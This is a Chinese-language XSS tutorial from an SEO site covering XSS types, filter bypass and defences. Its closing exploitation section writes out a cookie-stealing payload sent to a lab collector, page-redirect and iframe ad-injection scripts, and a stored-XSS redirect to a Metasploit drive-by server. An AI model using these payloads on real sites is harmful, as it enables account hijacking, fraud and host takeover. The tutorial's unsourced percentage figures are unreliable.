SEOVIP SEO教程
XSS(Cross-Site Scripting)漏洞,即跨站脚本攻击漏洞,是一种常见的 Web 应用程序安全漏洞。恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页之时,嵌入其中的 Script 代码会被执行,从而达到恶意攻击用户的目的。
XSS 漏洞主要分为三种类型:

(一)反射型 XSS

也称为非持久型 XSS。攻击方式通常是攻击者通过电子邮件或者聊天工具等将包含恶意脚本的链接发送给目标用户。当目标用户访问该链接时,服务器接收目标的请求并进行处理,然后把带有恶意脚本的数据发送给目标用户的浏览器,浏览器解析这段恶意脚本,触发漏洞。例如,攻击者构造基础 js 语句<script>alert('xss')</script>,如果服务器未对请求中的参数进行适当过滤或转义,用户访问该链接时就可能看到 xss 的弹窗。

(二)存储型 XSS

又称持久性 XSS。攻击脚本将被永久存放在目标服务器的数据库或文件中。常见于论坛、博客和留言板等,攻击者在发帖过程中,将恶意脚本和正常信息一起注入帖子内容,帖子被服务器存储后,恶意脚本也存放在服务器后端数据库中。当其他用户浏览这个被注入恶意脚本的帖子时,恶意脚本会在他们的浏览器中解析并执行。比如测试的 payload<script>alert (document.cookie)</script>,如果后端对输入过滤不严谨,就可能导致用户的 cookie 被窃取。

(三)DOM 型 XSS

漏洞存在于客户端代码而不是服务器代码,通常是通过 JavaScript 实现的。攻击过程完全在客户端执行,不需要与服务器端进行交互。攻击者利用 HTML 注入漏洞,将恶意脚本插入到网页的 DOM 结构中。攻击脚本通常隐藏在看似无害的用户输入中,当这些输入被动态地插入到 DOM 中时,恶意脚本就会被执行。例如,攻击者在 URL 中插入恶意代码,用户直接从 URL 中获取恶意代码并输出到页面前端。
XSS 漏洞的危害极大,包括窃取用户的敏感信息如 cookie 数据、进行钓鱼攻击、篡改网页内容、传播恶意软件等。据统计,每年因 XSS 漏洞导致的安全事件数不胜数,给企业和用户带来了巨大的损失。

二、恶意链接注入方法

(一)存储型 XSS 注入
存储型 XSS 注入是一种较为严重的攻击方式。黑客利用网站的漏洞,将恶意脚本提交到目标网站的数据库中。例如,在一个论坛系统中,黑客可能在发表帖子时,将恶意脚本嵌入帖子内容中。当服务器对用户提交的内容没有进行严格的过滤和转义处理时,恶意脚本就会被存储到数据库中。
之后,当其他用户访问包含恶意脚本的帖子时,服务器会从数据库中取出帖子内容,并将恶意脚本与正常的页面内容一起返回给用户的浏览器。浏览器在解析页面时,会执行恶意脚本。这个过程就像是埋下了一颗定时炸弹,只要有用户触发了这个 “炸弹”,恶意脚本就会发挥作用。
假设恶意脚本的功能是窃取用户的登录凭证,它可以通过获取用户的 cookie 信息,将其发送到黑客控制的服务器上。这样,黑客就可以利用窃取到的凭证登录用户的账户,进行非法操作。

(二)反射型 XSS 注入

在反射型 XSS 注入中,恶意脚本是作为用户请求的一部分被注入的。攻击者通常会构造一个包含恶意脚本的链接,并通过各种方式诱导用户点击这个链接。例如,黑客可能会在电子邮件、聊天消息或者社交网络中发送看似正常的链接,但实际上这个链接中包含了恶意脚本。
当用户点击这个链接时,浏览器会向服务器发送请求,服务器接收到请求后,会将恶意脚本与正常的响应内容一起返回给用户的浏览器。如果服务器没有对用户输入进行充分的过滤和转义处理,恶意脚本就会在用户的浏览器中执行。
举个例子,假设攻击者构造了一个链接,链接中包含了<script>alert('你被 xss 攻击了')</script>这样的恶意脚本。当用户点击这个链接时,服务器会将这个恶意脚本作为响应的一部分返回给用户的浏览器,浏览器在解析响应时,就会执行这个恶意脚本,弹出一个警告框。

(三)DOM 型 XSS 注入

DOM 型 XSS 注入是通过修改客户端的 DOM 结构来实现的。在这种攻击方式中,恶意脚本并不需要经过服务器端的处理,而是完全在客户端执行。攻击者通常会利用网页中的 JavaScript 代码来修改 DOM 结构,从而注入恶意链接。
例如,一个网页中可能包含一段 JavaScript 代码,用于动态地生成页面内容。如果这段代码没有对用户输入进行充分的验证和过滤,攻击者就可以通过输入恶意内容来修改 DOM 结构,插入恶意链接。比如,攻击者可以在 URL 参数中输入恶意脚本,当网页加载时,JavaScript 代码会从 URL 中获取参数值,并将其插入到 DOM 中。如果这个参数值包含恶意脚本,那么恶意脚本就会在用户的浏览器中执行。
以一个具体的场景来说,一个网页中有一个输入框,用户在输入框中输入的内容会被动态地显示在页面上。如果攻击者在输入框中输入<img src="#" onclick="alert('DOM 型 XSS 攻击成功')">,当页面显示这个输入内容时,恶意脚本就会被执行,弹出一个警告框。

三、注入技巧

 

(一)寻找输入点

网站的输入点通常包括 URL 参数、表单输入、HTTP 头部等。为了寻找可能存在的 XSS 漏洞,可以逐个检查这些输入点。例如,在 URL 参数中,可以尝试在链接后面添加特殊字符,如<, >, ", ', &, #等,然后观察服务器的响应。如果服务器没有对这些特殊字符进行适当的处理,可能就存在 XSS 漏洞。
对于表单输入,可以在输入框中输入特殊字符或者恶意脚本,然后提交表单,观察服务器的响应。如果服务器直接将输入的内容返回给用户的浏览器,而没有进行过滤或转义处理,那么就可能存在 XSS 漏洞。
此外,还可以检查 HTTP 头部,如 Referer、User-Agent 等,看是否可以通过修改这些头部信息来注入恶意脚本。

(二)绕过过滤机制

  1. 使用 HTML 编码绕过简单的过滤机制。例如,将<替换为%3C,将>替换为%3E等。这样,即使服务器对某些特殊字符进行了过滤,但如果没有对编码后的字符进行处理,仍然可以成功注入恶意脚本。
  1. 利用 JavaScript 的字符串拼接、URL 编码等技巧绕过复杂的过滤规则。例如,可以将恶意脚本拆分成多个部分,然后通过字符串拼接的方式在浏览器中重新组合成完整的恶意脚本。或者使用 URL 编码将恶意脚本进行编码,然后在浏览器中进行解码执行。

(三)利用 JavaScript 特性

  1. 利用 JavaScript 的事件处理特性执行恶意代码。例如,可以利用onclick、onmouseover等事件来触发恶意脚本。比如,在一个图片标签中,可以设置onerror事件,当图片加载失败时,触发恶意脚本。
  1. 利用 JavaScript 的 DOM 操作特性执行恶意代码。可以通过修改 DOM 结构来插入恶意脚本。例如,使用document.write()方法将恶意脚本写入页面,或者使用innerHTML属性将恶意脚本插入到页面元素中。
构造隐蔽的 JavaScript 代码也是一种有效的方法。可以使用 JavaScript 的注释、字符串拼接等技巧来隐藏恶意代码。例如,可以将恶意脚本放在注释中,然后通过特定的条件触发注释中的代码执行。或者将恶意脚本拆分成多个字符串,然后通过字符串拼接的方式在特定条件下组合成完整的恶意脚本执行。

四、防御措施

 

(一)输入验证

输入验证是防御 XSS 漏洞的重要环节。所有用户输入的数据都应该经过严格的验证,确保不包含任何恶意脚本。可以使用正则表达式、白名单等方式对输入进行过滤。例如,可以限制用户输入只包含字母、数字和特定的符号,拒绝包含<script>、<img onerror>等可能用于注入恶意脚本的标签。同时,对于输入的长度、格式等也应该进行限制,防止攻击者通过超长输入或者特殊格式的输入来绕过验证机制。据统计,超过 80% 的 XSS 漏洞是由于输入验证不严格导致的,所以加强输入验证可以极大地降低 XSS 攻击的风险。

(二)输出编码

在将用户输入的数据输出到 HTML 页面之前,对特殊字符进行编码是一种有效的防御措施。常见的编码方式有 HTML 实体编码、URL 编码等。例如,将<编码为&lt;,将>编码为&gt;,将&编码为&amp;等。这样,即使攻击者输入了恶意脚本,在输出到页面时也会被编码为无害的字符,无法被浏览器解析为脚本执行。同时,对于用户输入的 URL、JavaScript 代码等也应该进行适当的编码,防止攻击者利用这些输入点进行 XSS 攻击。

(三)使用内容安全策略

内容安全策略(CSP)是一种强大的防御 XSS 攻击的手段。通过设置 CSP,可以限制外部资源的加载和执行,只允许从可信的源加载资源。例如,可以设置default-src 'self';,表示只允许从当前域名加载资源。还可以设置script-src 'self' *.trusted.com;,表示只允许从当前域名和指定的可信域名加载 JavaScript 脚本。CSP 可以通过 HTTP 头部或者 HTML 的<meta>标签设置。据研究表明,使用 CSP 可以有效降低 XSS 攻击的成功率,提高网站的安全性。

(四)更新和维护

定期更新网站使用的库、框架和进行安全审计是保持网站安全的必要措施。随着技术的不断发展,新的安全漏洞不断被发现,旧的漏洞也可能被新的攻击方法利用。因此,及时更新网站使用的软件和库,修复已知的安全漏洞,可以有效地防止 XSS 攻击。同时,定期进行安全审计,对网站的代码进行审查,查找潜在的安全问题,也是非常重要的。此外,还应该对网站的用户数据进行备份,以防在遭受攻击时能够及时恢复数据。

五、漏洞利用方式

 

(一)窃取 Cookie

恶意攻击者通过 XSS 攻击窃取 Cookie 信息进行非法操作是一种常见且危险的行为。通常,攻击者会构造恶意脚本,当用户访问含有 XSS 漏洞的页面时,触发该脚本执行。例如,攻击者可以使用以下 payload:<script>document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>。一旦用户访问这个页面,就会跳转到攻击者指定的地址,并将用户的 Cookie 信息携带在 URL 中发送给攻击者的服务器。攻击者的服务器接收到 Cookie 信息后,可以进行进一步的非法操作,如使用窃取到的 Cookie 登录用户的账户,获取用户的敏感信息等。
据统计,在众多 XSS 攻击事件中,窃取 Cookie 的攻击方式占比高达 30% 左右,给用户和企业带来了极大的安全风险。

(二)广告传播与刷取流量

通过恶意 JS 代码实现网页跳转、展示广告等引流方式也是 XSS 漏洞的常见利用方式之一。
恶意刷取访问量可以通过网页直接跳转或延迟跳转实现。网页直接跳转可以使用以下三种方式的 JavaScript 代码:
<script type="text/javascript">window.location.href="跳转的目的地址";</script>
<script type="text/javascript">window. location.replace("跳转的目的地址");</script>
<script type="text/javascript">window. location.assign("跳转的目的地址");</script>。为了体现效果,可以在靶机 DVWA 存储型 XSS 处插入 JS 代码实现网页跳转,用户一访问到此页面就自动访问攻击者指定的页面,从而增加访问量。
网页延迟跳转可以使用以下代码实现:<script type="text/javascript">function jumurl(){window.location.href ='https://www.baidu.com';}setTimeout(jumurl,3000);</script>,网页停留三秒后再进行跳转。
恶意广告展示可以通过导入外链的方式对受害站点插入广告位,以来传播广告。例如:<script>document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='2000' height='5000' allowTransparency src=https://blog.csdn.net/Aaron_Miller/article/details/105918848></iframe>");</script>。

(三)网页挂马与权限提升

利用木马服务器生成恶意 URL 地址并通过 XSS 挂到页面获取控制权限是一种较为复杂的攻击方式。
首先,攻击者需要搭建木马服务器,如使用 Kali 系统。以 MS14-064 缓冲区溢出漏洞为例,攻击者启动 Metasploit,调用该漏洞,设置木马服务器 IP,允许调用 powershell,调用反弹连接 payload。设置监听 IP 和默认监听端口 4444,执行攻击后自动生成攻击地址。
然后,恶意攻击者通过存储型 xss 将木马服务器生成的地址插入到网站中,如<script type="text/javascript">window.location.href="http://192.168.7.129:8080/W0fGq97a2ICU0";</script>。当存在相应漏洞的主机访问到该页面,攻击者就会获取到目的服务器操作系统的权限,如开启摄像头、添加用户、截屏、录音等。
需要强调的是,所有这些针对 XSS 的利用方式都是非法行为,可能会给受害者带来严重的损失。我们应该加强网站的安全防护,防止 XSS 漏洞被恶意利用。